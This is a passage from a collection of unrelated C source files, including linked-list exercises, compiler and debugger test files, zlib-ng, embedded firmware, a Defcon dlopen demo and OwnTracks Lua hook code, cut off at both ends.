newNode = (Node *)malloc(sizeof(Node));
newNode->data = no;
newNode->nextAddress = NULL;
if(start == NULL)
{
start = newNode;
newNode->nextAddress = start;
}
else
{
ptr = start;
while(ptr->nextAddress != start)
{
ptr = ptr->nextAddress;
}
ptr->nextAddress = newNode;
newNode->nextAddress = start;
}
}
void insertBeg(int no)
{
Node *newNode, *ptr;
newNode = (Node *)malloc(sizeof(Node));
newNode->data = no;
ptr = start;
while(ptr->nextAddress != start)
{
ptr = ptr->nextAddress;
}
ptr->nextAddress = newNode;
newNode->nextAddress = start;
start = newNode;
}
void insertPos(int no, int pos)
{
Node *newNode, *ptr, *flag;
ptr = start;
int count = 1;
while(ptr->nextAddress != start)
{
if(count==pos)
{
newNode = (Node *)malloc(sizeof(Node));
newNode->data = no;
newNode->nextAddress = NULL;
newNode->nextAddress = flag->nextAddress;
flag->nextAddress = newNode;
break;
}
count = count + 1;
flag = ptr;
ptr = ptr->nextAddress;
}
if(count==pos && ptr->nextAddress == start)
{
newNode = (Node *)malloc(sizeof(Node));
newNode->data = no;
newNode->nextAddress = NULL;
newNode->nextAddress = flag->nextAddress;
flag->nextAddress = newNode;
}
}
void display()
{
Node *ptr;
ptr = start;
printf("START->");
while(ptr->nextAddress != start)
{
printf("%d->",ptr->data);
ptr = ptr->nextAddress;
}
printf("%d->",ptr->data);
printf("START");
}
int main()
{
printf("Inserting & Traversing\n");
printf("**********************\n\n");
printf("1: Add\n2: Insert\n3: Display\n0: Exit\n\n");
int choice,no,pos;
while(1)
{
printf("Enter Choice : ");
scanf("%d",&choice);
if(choice==1)
{
printf("Enter Number : ");
scanf("%d",&no);
printf("\n");
add(no);
}
else if(choice==2)
{
int size = sizeofList();
printf("Enter Number : ");
scanf("%d",&no);
while(1)
{
printf("Enter Position : ");
scanf("%d",&pos);
if(pos==1)
{
insertBeg(no);
break;
}
else if(pos == size+1)
{
add(no);
break;
}
else if(pos<1 || pos>size+1)
{
continue;
}
else
{
insertPos(no,pos);
break;
}
}
printf("\n");
}
else if(choice==3)
{
display();
printf("\n\n");
}
else if(choice==0)
{
break;
}
}
} |
the_stack_data/225144546.c | /* Copyright (c) 2013 The Chromium Authors. All rights reserved.
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file. */
#include <stdio.h>
#include <string.h>
#include <sys/utsname.h>
#if !defined(_UTSNAME_LENGTH)
#if defined(__BIONIC__)
#define _UTSNAME_LENGTH SYS_NMLN
#endif
#if defined(__APPLE__)
#define _UTSNAME_LENGTH _SYS_NAMELEN
#endif
#endif
int uname(struct utsname* buf) {
memset(buf, 0, sizeof(struct utsname));
snprintf(buf->sysname, _UTSNAME_LENGTH, "NaCl");
/* TODO(sbc): Fill out the other fields with useful information. */
return 0;
}
|
the_stack_data/67325594.c | #include <stdio.h>
#define IN 1 // inside a word
#define OUT 0 // outside a word
int main() {
int c, nl, nw, nc, state;
state = OUT;
nl = nw = nc = 0;
while ((c = getchar()) != EOF) {
++nc;
if (c == '\n') {
++nl;
}
if (c == ' ' || c == '\n' || c == '\t') {
state = OUT;
}
else if (state == OUT) {
state = IN;
++nw;
}
}
printf("%d %d %d\n", nl, nw, nc);
return 0;
} |
the_stack_data/785486.c | // justsyms_exec.c -- test --just-symbols for gold
// Copyright (C) 2011-2020 Free Software Foundation, Inc.
// Written by Cary Coutant <[email protected]>.
// This file is part of gold.
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 51 Franklin Street - Fifth Floor, Boston,
// MA 02110-1301, USA.
// The Linux kernel builds an executable file using a linker script, and
// then links against that object file using the -R option. This is a
// test for that usage.
#include <stdio.h>
extern int exported_func(void);
extern int exported_data;
static int errs = 0;
void check(void *sym, long v, const char *name);
void
check(void *sym, long v, const char *name)
{
if (sym != (void *)v)
{
fprintf(stderr, "&%s is %8p, expected %08lx\n", name, sym, v);
errs++;
}
}
int
main(void)
{
#if !defined (__powerpc64__) || (defined (_CALL_ELF) && _CALL_ELF == 2)
/* PowerPC64 ELFv1 uses function descriptors. */
check(exported_func, 0x1000200, "exported_func");
#endif
check(&exported_data, 0x2000000, "exported_data");
return errs;
}
|
the_stack_data/26700266.c | /* This testcase is part of GDB, the GNU debugger.
Copyright 2015-2016 Free Software Foundation, Inc.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>. */
/* Dummy main function. */
int
main (void)
{
asm ("main_label: .globl main_label");
return 0;
}
/* dummy f function, DWARF will describe arguments and type differently. */
int
f (char *x)
{
asm (".global f_end_lbl\nf_end_lbl:");
return 0;
}
/* dummy g function, DWARF will describe arguments and type differently. */
int
g (char *x)
{
asm (".global g_end_lbl\ng_end_lbl:");
return 0;
}
|
the_stack_data/165769222.c | /*
* Copyright (c) 2020 Bouffalolab.
*
* This file is part of
* *** Bouffalolab Software Dev Kit ***
* (see www.bouffalolab.com).
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* 3. Neither the name of Bouffalo Lab nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#if defined(CFG_ZIGBEE_PDS)
#include <FreeRTOS.h>
#include <task.h>
#include <bl_irq.h>
#include <bl_rtc.h>
#include <hosal_uart.h>
#include "hal_pds.h"
#include "zb_common.h"
extern bool pds_start;
static void bl_pds_restore(void)
{
HOSAL_UART_DEV_DECL(uart_stdio, 0, 14, 15, 2000000);
hosal_uart_init(&uart_stdio);
#if defined(CFG_USB_CDC_ENABLE)
extern void usb_cdc_restore(void);
usb_cdc_restore();
#endif
}
#if ( configUSE_TICKLESS_IDLE != 0 )
void vApplicationSleep( TickType_t xExpectedIdleTime )
{
uint32_t xActualIdleTime = 0;
eSleepModeStatus eSleepStatus;
uint32_t sleepTime;
uint32_t sleepCycles;
#define PDS_TOLERANCE_TIME_MS 5
//in driver, it takes (sleep_cycles-PDS_WARMUP_LATENCY_CNT) as sleep cycles. Make sure pds sleep for at least 1 ms(about 31cycles).
#define PDS_MIN_TIME_MS (PDS_WARMUP_LATENCY_CNT + 30 + 31)/31
if(pds_start == 0){
return;
}
eSleepStatus = eTaskConfirmSleepModeStatus();
if(eSleepStatus == eAbortSleep){
printf("eSleepStatus == eAbortSleep\r\n");
return;
}else if(eSleepStatus == eStandardSleep){
if(xExpectedIdleTime <= PDS_TOLERANCE_TIME_MS + PDS_MIN_TIME_MS){
return;
}
}
if(!zb_stackIdle())
{
return;
}
xActualIdleTime = zb_zsedGetIdleDuration() / 1000;
if(xActualIdleTime <= PDS_TOLERANCE_TIME_MS + PDS_MIN_TIME_MS){
return;
}
if(eSleepStatus == eStandardSleep){
if(xExpectedIdleTime < xActualIdleTime){
sleepTime = xExpectedIdleTime - PDS_TOLERANCE_TIME_MS;
}else{
sleepTime = xActualIdleTime - PDS_TOLERANCE_TIME_MS;
}
}else{
sleepTime = xActualIdleTime - PDS_TOLERANCE_TIME_MS;
}
bl_irq_disable(M154_IRQn);
printf("[%lu] will sleep: %lu ms\r\n", (uint32_t)bl_rtc_get_timestamp_ms(), sleepTime);
zb_zsedStoreRegs();
zb_zsedStoreTime();
sleepCycles = (uint64_t)32768 * sleepTime / 1000;
sleepTime = hal_pds_enter_with_time_compensation(31, sleepCycles);
bl_pds_restore();
zb_zsedRestoreRegs();
zb_zsedRestoreTime(sleepTime * 1000);
printf("[%lu] actually sleep: %lu ms\r\n", (uint32_t)bl_rtc_get_timestamp_ms(), sleepTime);
}
#endif
#endif//#if defined(CFG_ZIGBEE_PDS) |
the_stack_data/876662.c |
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdbool.h>
struct node {
int data;
int key;
struct node *next;
};
struct node *head = NULL;
struct node *current = NULL;
//display the list
void printList() {
struct node *ptr = head;
printf("\n[ ");
//start from the beginning
while(ptr != NULL) {
printf("(%d,%d) ",ptr->key,ptr->data);
ptr = ptr->next;
}
printf(" ]");
}
//insert link at the first location
void insertFirst(int key, int data) {
//create a link
struct node *link = (struct node*) malloc(sizeof(struct node));
link->key = key;
link->data = data;
//point it to old first node
link->next = head;
//point first to new first node
head = link;
}
//delete first item
struct node* deleteFirst() {
//save reference to first link
struct node *tempLink = head;
//mark next to first link as first
head = head->next;
//return the deleted link
return tempLink;
}
//is list empty
bool isEmpty() {
return head == NULL;
}
int length() {
int length = 0;
struct node *current;
for(current = head; current != NULL; current = current->next) {
length++;
}
return length;
}
//find a link with given key
struct node* find(int key) {
//start from the first link
struct node* current = head;
//if list is empty
if(head == NULL) {
return NULL;
}
//navigate through list
while(current->key != key) {
//if it is last node
if(current->next == NULL) {
return NULL;
} else {
//go to next link
current = current->next;
}
}
//if data found, return the current Link
return current;
}
//delete a link with given key
struct node* delete(int key) {
//start from the first link
struct node* current = head;
struct node* previous = NULL;
//if list is empty
if(head == NULL) {
return NULL;
}
//navigate through list
while(current->key != key) {
//if it is last node
if(current->next == NULL) {
return NULL;
} else {
//store reference to current link
previous = current;
//move to next link
current = current->next;
}
}
//found a match, update the link
if(current == head) {
//change first to point to next link
head = head->next;
} else {
//bypass the current link
previous->next = current->next;
}
return current;
}
void sort() {
int i, j, k, tempKey, tempData;
struct node *current;
struct node *next;
int size = length();
k = size ;
for ( i = 0 ; i < size - 1 ; i++, k-- ) {
current = head;
next = head->next;
for ( j = 1 ; j < k ; j++ ) {
if ( current->data > next->data ) {
tempData = current->data;
current->data = next->data;
next->data = tempData;
tempKey = current->key;
current->key = next->key;
next->key = tempKey;
}
current = current->next;
next = next->next;
}
}
}
void reverse(struct node** head_ref) {
struct node* prev = NULL;
struct node* current = *head_ref;
struct node* next;
while (current != NULL) {
next = current->next;
current->next = prev;
prev = current;
current = next;
}
*head_ref = prev;
}
void main() {
insertFirst(1,10);
insertFirst(2,20);
insertFirst(3,30);
insertFirst(4,1);
insertFirst(5,40);
insertFirst(6,56);
printf("Original List: ");
//print list
printList();
while(!isEmpty()) {
struct node *temp = deleteFirst();
printf("\nDeleted value:");
printf("(%d,%d) ",temp->key,temp->data);
}
printf("\nList after deleting all items: ");
printList();
insertFirst(1,10);
insertFirst(2,20);
insertFirst(3,30);
insertFirst(4,1);
insertFirst(5,40);
insertFirst(6,56);
printf("\nRestored List: ");
printList();
printf("\n");
struct node *foundLink = find(4);
if(foundLink != NULL) {
printf("Element found: ");
printf("(%d,%d) ",foundLink->key,foundLink->data);
printf("\n");
} else {
printf("Element not found.");
}
delete(4);
printf("List after deleting an item: ");
printList();
printf("\n");
foundLink = find(4);
if(foundLink != NULL) {
printf("Element found: ");
printf("(%d,%d) ",foundLink->key,foundLink->data);
printf("\n");
} else {
printf("Element not found.");
}
printf("\n");
sort();
printf("List after sorting the data: ");
printList();
reverse(&head);
printf("\nList after reversing the data: ");
printList();
}
|
the_stack_data/432123.c | /*
************************************************
username : smmehrab
fullname : s.m.mehrabul islam
email : [email protected]
institute : university of dhaka, bangladesh
session : 2017-2018
************************************************
*/
#include<stdio.h>
int main()
{
int t,i;
double a,b,p,n;
scanf("%d",&t);
for(i=0;i<t;i++)
{
scanf("%lf",&n);
scanf("%lf %lf",&a,&b);
if(a==0)
{
a=1;
}
if(b==0)
{
b=1;
}
a=(a*(1.00/2.00));
b=(b*(1.00/2.00));
p=(a+b)/n;
printf("%lf\n",p);
}
return 0;
}
|
the_stack_data/94705.c | /*
* Fill Window with SSE2-optimized hash shifting
*
* Copyright (C) 2013 Intel Corporation
* Authors:
* Arjan van de Ven <[email protected]>
* Jim Kukunas <[email protected]>
*
* For conditions of distribution and use, see copyright notice in zlib.h
*/
#ifdef X86_SSE2
#include "zbuild.h"
#include <immintrin.h>
#include "deflate.h"
#include "deflate_p.h"
#include "functable.h"
extern int read_buf(PREFIX3(stream) *strm, unsigned char *buf, unsigned size);
void slide_hash_sse2(deflate_state *s);
ZLIB_INTERNAL void fill_window_sse(deflate_state *s) {
register unsigned n;
unsigned more; /* Amount of free space at the end of the window. */
unsigned int wsize = s->w_size;
Assert(s->lookahead < MIN_LOOKAHEAD, "already enough lookahead");
do {
more = (unsigned)(s->window_size -(unsigned long)s->lookahead -(unsigned long)s->strstart);
/* Deal with !@#$% 64K limit: */
if (sizeof(int) <= 2) {
if (more == 0 && s->strstart == 0 && s->lookahead == 0) {
more = wsize;
} else if (more == (unsigned)(-1)) {
/* Very unlikely, but possible on 16 bit machine if
* strstart == 0 && lookahead == 1 (input done a byte at time)
*/
more--;
}
}
/* If the window is almost full and there is insufficient lookahead,
* move the upper half to the lower one to make room in the upper half.
*/
if (s->strstart >= wsize+MAX_DIST(s)) {
memcpy(s->window, s->window+wsize, (unsigned)wsize);
s->match_start = (s->match_start >= wsize) ? s->match_start - wsize : 0;
s->strstart -= wsize; /* we now have strstart >= MAX_DIST */
s->block_start -= (long) wsize;
/* Slide the hash table (could be avoided with 32 bit values
at the expense of memory usage). We slide even when level == 0
to keep the hash table consistent if we switch back to level > 0
later. (Using level 0 permanently is not an optimal usage of
zlib, so we don't care about this pathological case.)
*/
slide_hash_sse2(s);
more += wsize;
}
if (s->strm->avail_in == 0) break;
/* If there was no sliding:
* strstart <= WSIZE+MAX_DIST-1 && lookahead <= MIN_LOOKAHEAD - 1 &&
* more == window_size - lookahead - strstart
* => more >= window_size - (MIN_LOOKAHEAD-1 + WSIZE + MAX_DIST-1)
* => more >= window_size - 2*WSIZE + 2
* In the BIG_MEM or MMAP case (not yet supported),
* window_size == input_size + MIN_LOOKAHEAD &&
* strstart + s->lookahead <= input_size => more >= MIN_LOOKAHEAD.
* Otherwise, window_size == 2*WSIZE so more >= 2.
* If there was sliding, more >= WSIZE. So in all cases, more >= 2.
*/
Assert(more >= 2, "more < 2");
n = read_buf(s->strm, s->window + s->strstart + s->lookahead, more);
s->lookahead += n;
/* Initialize the hash value now that we have some input: */
if (s->lookahead + s->insert >= MIN_MATCH) {
unsigned int str = s->strstart - s->insert;
s->ins_h = s->window[str];
if (str >= 1)
zng_functable.insert_string(s, str + 2 - MIN_MATCH, 1);
#if MIN_MATCH != 3
#error Call insert_string() MIN_MATCH-3 more times
while (s->insert) {
zng_functable.insert_string(s, str, 1);
str++;
s->insert--;
if (s->lookahead + s->insert < MIN_MATCH)
break;
}
#else
unsigned int count;
if (unlikely(s->lookahead == 1)){
count = s->insert - 1;
}else{
count = s->insert;
}
zng_functable.insert_string(s, str, count);
s->insert -= count;
#endif
}
/* If the whole input has less than MIN_MATCH bytes, ins_h is garbage,
* but this is not important since only literal bytes will be emitted.
*/
} while (s->lookahead < MIN_LOOKAHEAD && s->strm->avail_in != 0);
/* If the WIN_INIT bytes after the end of the current data have never been
* written, then zero those bytes in order to avoid memory check reports of
* the use of uninitialized (or uninitialised as Julian writes) bytes by
* the longest match routines. Update the high water mark for the next
* time through here. WIN_INIT is set to MAX_MATCH since the longest match
* routines allow scanning to strstart + MAX_MATCH, ignoring lookahead.
*/
if (s->high_water < s->window_size) {
unsigned long curr = s->strstart + (unsigned long)(s->lookahead);
unsigned long init;
if (s->high_water < curr) {
/* Previous high water mark below current data -- zero WIN_INIT
* bytes or up to end of window, whichever is less.
*/
init = s->window_size - curr;
if (init > WIN_INIT)
init = WIN_INIT;
memset(s->window + curr, 0, (unsigned)init);
s->high_water = curr + init;
} else if (s->high_water < (unsigned long)curr + WIN_INIT) {
/* High water mark at or above current data, but below current data
* plus WIN_INIT -- zero out to current data plus WIN_INIT, or up
* to end of window, whichever is less.
*/
init = (unsigned long)curr + WIN_INIT - s->high_water;
if (init > s->window_size - s->high_water)
init = s->window_size - s->high_water;
memset(s->window + s->high_water, 0, (unsigned)init);
s->high_water += init;
}
}
Assert((unsigned long)s->strstart <= s->window_size - MIN_LOOKAHEAD, "not enough room for search");
}
#endif
|
the_stack_data/161081347.c | /* mbed Microcontroller Library
* Copyright (c) 2017 ARM Limited
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#if MBED_CONF_NSAPI_PRESENT
#include "onboard_modem_api.h"
#include "gpio_api.h"
#include "platform/mbed_wait_api.h"
#include "PinNames.h"
#if MODEM_ON_BOARD
// Note microseconds not milliseconds
static void press_power_button(int time_us)
{
gpio_t gpio;
#if defined(TARGET_UBLOX_C030_R41XM)
gpio_init_inout(&gpio, MDMPWRON, PIN_OUTPUT, OpenDrain, 0);
#else
gpio_init_out_ex(&gpio, MDMPWRON, 0);
#endif
wait_us(time_us);
gpio_write(&gpio, 1);
}
void onboard_modem_init()
{
gpio_t gpio;
#if defined(TARGET_UBLOX_C030_R41XM)
// Set the pin to high so on powerup we can set low
gpio_init_inout(&gpio, MDMPWRON, PIN_OUTPUT, OpenDrain, 1);
#endif
// Take us out of reset
gpio_init_out_ex(&gpio, MDMRST, 1);
}
void onboard_modem_deinit()
{
#ifndef TARGET_UBLOX_C030_R41XM
gpio_t gpio;
// Back into reset
gpio_init_out_ex(&gpio, MDMRST, 0);
#endif
}
void onboard_modem_power_up()
{
#if defined(TARGET_UBLOX_C030_R41XM)
/* keep the power line low for 1 seconds */
press_power_button(1000000);
#else
/* keep the power line low for 50 microseconds */
press_power_button(50);
#endif
/* give modem a little time to respond */
wait_ms(100);
}
void onboard_modem_power_down()
{
/* keep the power line low for 1.5 seconds */
press_power_button(1500000);
}
#endif //MODEM_ON_BOARD
#endif //MBED_CONF_NSAPI_PRESENT
|
the_stack_data/68889201.c | #include <stdio.h>
#include <math.h>
#include <stdlib.h>
int main(int argc, char const *argv[])
{
int m,n; //用来存储参数m n
int cnt=0,flag=1; //用来统计素数的个数
int *a=NULL; //用来存储所有的素数
scanf("%d%d",&m,&n);
a=(int*)malloc(n*sizeof(int));
if (n>=1){
a[0]=2;
}
for (int i = 3; cnt < n; i+=2){
for (int j = 2; j <= sqrt(i); ++j){
if (i%j==0){
flag=0;
break;
}
}
if (flag){
a[++cnt]=i;
}
flag=1;
}
cnt=0;
for (int i = 0; i < n; ++i){
if (i >= m-1){
if (cnt!=0&&i!=n){
printf(" ");
}
cnt++;
printf("%d", a[i]);
if (cnt==10){
printf("\n");
cnt=0;
}
}
}
// system("pause");
return 0;
}
|
the_stack_data/53505.c | /**
* Calling the main() ... within proftpd.so
*
* Note: yes, we have a "shared library" with a main() !!
*
* Note 2: you're not supposed to call main directly,
* you may want to pass its address as an argument
* to __libc_start_main() instead.
*
* endrazine for Defcon 24 // August 2016
*/
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
static int (*__main)(int argc, char **argv) = NULL;
int get_symbol(char *filename, char *symbolname){
void *handle;
char *error = 0;
handle = dlopen(filename, RTLD_LAZY);
if (!handle) {
fprintf(stderr, "%s\n", dlerror());
exit(EXIT_FAILURE);
}
__main = dlsym(handle, symbolname);
if ((error = dlerror()) != NULL) {
fprintf(stderr, "%s\n", error);
exit(EXIT_FAILURE);
}
return 0;
}
int main(void){
char *argz[] = {"/bin/foo", 0x00};
get_symbol("/tmp/proftpd.so", "main");
__main(1, argz); // call main() from proftpd.so
return 0;
}
|
the_stack_data/179830306.c |
/*
* OwnTracks Recorder
* Copyright (C) 2015-2016 Jan-Piet Mens <[email protected]>
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#ifdef WITH_LUA
# include <stdarg.h>
# include <stdint.h>
# include "util.h"
# include "udata.h"
# include "hooks.h"
# include <lua.h>
# include <lualib.h>
# include <lauxlib.h>
# include "fences.h"
# include "gcache.h"
# include "json.h"
# include "version.h"
# include "fences.h"
static int otr_log(lua_State *lua);
static int otr_strftime(lua_State *lua);
static int otr_putdb(lua_State *lua);
static int otr_getdb(lua_State *lua);
#ifdef WITH_MQTT
# include <mosquitto.h>
static int otr_publish(lua_State *lua);
static struct mosquitto *MQTTconn = NULL;
#endif
static struct gcache *LuaDB = NULL;
/*
* Invoke the function `name' in the Lua script, which _may_ return
* an integer that we, in turn, return to caller.
*/
static int l_function(lua_State *L, char *name)
{
int rc = 0;
lua_getglobal(L, name);
if (lua_type(L, -1) != LUA_TFUNCTION) {
olog(LOG_ERR, "Cannot invoke Lua function %s: %s\n", name, lua_tostring(L, -1));
rc = 1;
} else {
lua_call(L, 0, 1);
rc = (int)lua_tonumber(L, -1);
lua_pop(L, 1);
}
lua_settop(L, 0);
return (rc);
}
struct luadata *hooks_init(struct udata *ud, char *script)
{
struct luadata *ld;
int rc;
if ((ld = malloc(sizeof(struct luadata))) == NULL)
return (NULL);
ld->script = strdup(script);
// ld->L = lua_open();
ld->L = luaL_newstate();
luaL_openlibs(ld->L);
MQTTconn = ud->mosq;
/*
* Set up a global with some values.
*/
lua_newtable(ld->L);
lua_pushstring(ld->L, VERSION);
lua_setfield(ld->L, -2, "version");
// lua_pushstring(ld->L, "/Users/jpm/Auto/projects/on-github/owntracks/recorder/lua");
// lua_setfield(ld->L, -2, "luapath");
lua_pushcfunction(ld->L, otr_log);
lua_setfield(ld->L, -2, "log");
lua_pushcfunction(ld->L, otr_strftime);
lua_setfield(ld->L, -2, "strftime");
lua_pushcfunction(ld->L, otr_putdb);
lua_setfield(ld->L, -2, "putdb");
lua_pushcfunction(ld->L, otr_getdb);
lua_setfield(ld->L, -2, "getdb");
#ifdef WITH_MQTT
lua_pushcfunction(ld->L, otr_publish);
lua_setfield(ld->L, -2, "publish");
#endif
lua_setglobal(ld->L, "otr");
LuaDB = ud->luadb;
olog(LOG_DEBUG, "initializing Lua hooks from `%s'", script);
/* Load the Lua script */
if (luaL_dofile(ld->L, ld->script)) {
olog(LOG_ERR, "Cannot load Lua from %s: %s", ld->script, lua_tostring(ld->L, -1));
hooks_exit(ld, "failed to load script");
return (NULL);
}
rc = l_function(ld->L, "otr_init");
if (rc != 0) {
/*
* After all this work (sigh), the Script has decided we shouldn't use
* hooks, so unload the whole Lua stuff and NULL back.
*/
hooks_exit(ld, "otr_init() returned non-zero");
ld = NULL;
}
return (ld);
}
void hooks_exit(struct luadata *ld, char *reason)
{
if (ld && ld->script) {
l_function(ld->L, "otr_exit");
olog(LOG_DEBUG, "unloading Lua: %s", reason);
free(ld->script);
lua_close(ld->L);
free(ld);
}
}
static void do_hook(char *hookname, struct udata *ud, char *topic, JsonNode *fullo)
{
struct luadata *ld = ud->luadata;
char *_type = "unknown";
JsonNode *j;
if (!ld || !ld->script)
return;
lua_settop(ld->L, 0);
lua_getglobal(ld->L, hookname);
if (lua_type(ld->L, -1) != LUA_TFUNCTION) {
olog(LOG_NOTICE, "cannot invoke %s in Lua script", hookname);
return;
}
lua_pushstring(ld->L, topic); /* arg1: topic */
if ((j = json_find_member(fullo, "_type")) != NULL) {
if (j->tag == JSON_STRING)
_type = j->string_;
}
lua_pushstring(ld->L, _type); /* arg2: record type */
lua_newtable(ld->L); /* arg3: table */
json_foreach(j, fullo) {
if (j->tag >= JSON_ARRAY)
continue;
lua_pushstring(ld->L, j->key); /* table key */
if (j->tag == JSON_STRING) {
lua_pushstring(ld->L, j->string_);
} else if (j->tag == JSON_NUMBER) {
lua_pushnumber(ld->L, j->number_);
} else if (j->tag == JSON_NULL) {
lua_pushnil(ld->L);
} else if (j->tag == JSON_BOOL) {
lua_pushboolean(ld->L, j->bool_);
}
lua_rawset(ld->L, -3);
}
/* Invoke `hook' function in Lua with our args */
if (lua_pcall(ld->L, 3, 1, 0)) {
olog(LOG_ERR, "Failed to run script: %s", lua_tostring(ld->L, -1));
exit(1);
}
// rc = (int)lua_tonumber(ld->L, -1);
// printf("C: FILTER returns %d\n", rc);
}
static void hooks_hooklet(struct udata *ud, char *topic, JsonNode *fullo)
{
JsonNode *j;
struct luadata *ld = ud->luadata;
char hookname[BUFSIZ];
if (!ud->luascript)
return;
json_foreach(j, fullo) {
snprintf(hookname, sizeof(hookname), "hooklet_%s", j->key);
lua_getglobal(ld->L, hookname);
if (lua_type(ld->L, -1) == LUA_TFUNCTION) {
do_hook(hookname, ud, topic, fullo);
}
}
}
/*
* Invoked from putrec() in storage. If the Lua putrec function is available
* and it returns non-zero, do not putrec.
*/
int hooks_norec(struct udata *ud, char *user, char *device, char *payload)
{
struct luadata *ld = ud->luadata;
int rc;
if (ld == NULL || !ld->script)
return (0);
lua_settop(ld->L, 0);
lua_getglobal(ld->L, "otr_putrec");
if (lua_type(ld->L, -1) != LUA_TFUNCTION) {
return (0);
}
lua_pushstring(ld->L, user);
lua_pushstring(ld->L, device);
lua_pushstring(ld->L, payload);
/* Invoke Lua function with our args */
if (lua_pcall(ld->L, 3, 1, 0)) {
olog(LOG_ERR, "Failed to run putrec in Lua: %s", lua_tostring(ld->L, -1));
exit(1);
}
rc = (int)lua_tonumber(ld->L, -1);
return (rc);
}
/*
* Invoked in http to populate response FIXME
*/
JsonNode *hooks_http(struct udata *ud, char *user, char *device, char *payload)
{
struct luadata *ld = ud->luadata;
char *_type = "unknown";
JsonNode *obj = NULL, *j, *fullo;
debug(ud, "in hooks_http()");
if (ld == NULL || !ld->script)
return (0);
fullo = json_decode(payload);
lua_settop(ld->L, 0);
lua_getglobal(ld->L, "otr_httpobject");
if (lua_type(ld->L, -1) != LUA_TFUNCTION) {
debug(ud, "no otr_httpobject function in Lua file: returning");
return (0);
}
lua_pushstring(ld->L, user); /* arg1 */
lua_pushstring(ld->L, device); /* arg2 */
if ((j = json_find_member(fullo, "_type")) != NULL) {
if (j->tag == JSON_STRING)
_type = j->string_;
}
lua_pushstring(ld->L, _type); /* arg3: record type */
lua_newtable(ld->L); /* arg4: table */
json_foreach(j, fullo) {
if (j->tag >= JSON_ARRAY)
continue;
lua_pushstring(ld->L, j->key); /* table key */
if (j->tag == JSON_STRING) {
lua_pushstring(ld->L, j->string_);
} else if (j->tag == JSON_NUMBER) {
lua_pushnumber(ld->L, j->number_);
} else if (j->tag == JSON_NULL) {
lua_pushnil(ld->L);
} else if (j->tag == JSON_BOOL) {
lua_pushboolean(ld->L, j->bool_);
}
lua_rawset(ld->L, -3);
}
// lua_pushstring(ld->L, payload);
/* Invoke Lua function with our args */
/* return value is a TABLE; all else is ignored */
if (lua_pcall(ld->L, 4, 1, 0)) {
olog(LOG_ERR, "Failed to run hooks_http in Lua: %s", lua_tostring(ld->L, -1));
exit(1);
}
/* Verify we have a table and create a JSON object from it. */
if (lua_istable(ld->L, -1)) {
obj = json_mkobject();
int t = -2;
lua_pushnil(ld->L); /* first key */
while (lua_next(ld->L, t) != 0) {
const char *key, *val;
size_t len;
int type, bf, nil;
lua_Number d;
key = lua_tolstring(ld->L, -2, &len);
type = lua_type(ld->L, -1);
// printf("%s len=%zd vtype=%d\n", key, len, type);
switch (type) {
case LUA_TNUMBER:
d = lua_tonumber(ld->L, -1);
json_append_member(obj, key, json_mknumber(d));
break;
case LUA_TSTRING:
val = lua_tostring(ld->L, -1);
json_append_member(obj, key, json_mkstring(val));
break;
case LUA_TNIL:
nil = lua_isnil(ld->L, -1);
if (nil)
json_append_member(obj, key, json_mknull());
break;
case LUA_TBOOLEAN:
bf = lua_toboolean(ld->L, -1);
json_append_member(obj, key, json_mkbool(bf));
break;
default:
